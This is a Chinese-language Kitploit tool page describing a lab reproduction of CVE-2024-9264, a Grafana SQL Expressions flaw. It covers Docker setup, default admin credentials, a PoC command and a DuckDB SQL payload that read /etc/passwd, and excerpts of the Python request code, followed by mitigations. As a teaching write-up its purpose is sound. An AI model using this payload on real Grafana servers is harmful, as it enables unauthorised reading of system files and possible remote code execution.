Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/yeonchoda/cve-2024-9264
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubyeonchoda/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 的 PoC 漏洞利用:Grafana SQL 表达式漏洞,可通过 DuckDB SQL 注入实现本地文件包含和远程代码执行。包含 Docker 实验室环境搭建和 Python 漏洞利用脚本。

查看仓库
32个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-9264

参考文档 https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264

1. 漏洞概要

项目内容
CVECVE-2024-9264
目标Grafana (SQL Expressions)
影响本地文件包含(LFI)、远程代码执行(RCE)
严重程度严重 (CVSS 9.9)
攻击条件经过身份验证的用户(管理员权限)
攻击方式滥用 SQL Expression 功能执行 DuckDB SQL

Grafana 是一款开源监控工具,能够将服务器、应用程序、数据库等各种数据以易于查看的图表或仪表盘形式进行可视化。

CVE-2024-9264 是 Grafana 的 SQL Expressions 功能中存在的漏洞。

由于 Grafana 内部使用的 DuckDB SQL 未经过适当验证,攻击者可以通过 SQL Expression 执行任意 DuckDB SQL。

利用该漏洞可以实现:

  • 读取服务器本地文件(LFI)
  • 执行系统命令(RCE)
  • 泄露敏感信息

本实验在 Docker 环境中运行 Grafana 11.0.0,并使用 PoC 读取 /etc/passwd 文件的方式复现了该漏洞。


2. 环境搭建

实验环境

组件内容
操作系统Ubuntu
DockerDocker Compose
Grafana11.0.0

下载仓库

root@kitploit:~
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264

启动 Docker

root@kitploit:~
docker-compose up

确认 Grafana 运行

root@kitploit:~
http://localhost:3000

Grafana 运行

Grafana 的默认账户信息如下:

root@kitploit:~
ID : admin
PW : admin

3. 漏洞条件

触发漏洞需要满足以下条件:

  • 使用存在漏洞的 Grafana 版本
  • 能够使用 SQL Expressions 功能
  • 攻击者能够登录 Grafana
  • DuckDB SQL Expression 已启用

本实验使用了默认管理员账户(admin/admin)。


4. 复现

执行 PoC

为了读取本地文件,执行以下命令:

root@kitploit:~
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"

PoC 会创建以下 SQL Expression:

root@kitploit:~
SELECT * FROM read_csv_auto('/etc/passwd')

并将其发送到 Grafana 的 /api/ds/query API。


结果确认

Grafana 直接执行了 SQL,并将 /etc/passwd 的内容作为响应返回。

PoC.py 执行

除 /etc/passwd 文件外,也可以读取其他文件。 /etc/group 输出

由此确认本地文件包含成功执行。


5. PoC 代码

PoC 使用 Python 编写,执行以下步骤:

  1. 调用 Grafana API(/api/ds/query)
  2. 创建 SQL Expression
  3. 以 JSON 格式发送请求
  4. 解析响应(JSON)
  5. 输出文件内容

读取文件时生成的 SQL 如下:

root@kitploit:~
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"

API 请求如下所示:

root@kitploit:~
response = requests.post(
    api_url,
    auth=(username, password),
    headers=headers,
    data=json.dumps(payload),
    verify=False
)

也可以通过 curl 命令进行验证。 curl

6. 应对措施

1. 更新 Grafana 至最新版本

最有效的应对方法是将 Grafana 更新至已修复漏洞的最新版本。


2. 限制 SQL Expressions 功能

禁用不必要的 SQL Expression 功能,或遵循最小权限原则限制其使用范围。


3. 保护管理员账户

  • 更改默认账户(admin/admin)
  • 使用强密码
  • 尽量减少管理员账户数量

结论

在 Docker 环境中搭建 Grafana 11.0.0 后,复现了 CVE-2024-9264 漏洞。

利用 Python 编写的 PoC,滥用 SQL Expression 功能成功读取了 /etc/passwd 文件。由此确认,如果对 SQL Expression 的输入验证不足,敏感文件可能会泄露,并且在某些环境下可能导致远程代码执行。 此类漏洞可通过升级至最新版本、限制 SQL Expressions 功能以及保护管理员账户等安全措施加以预防。

下载工具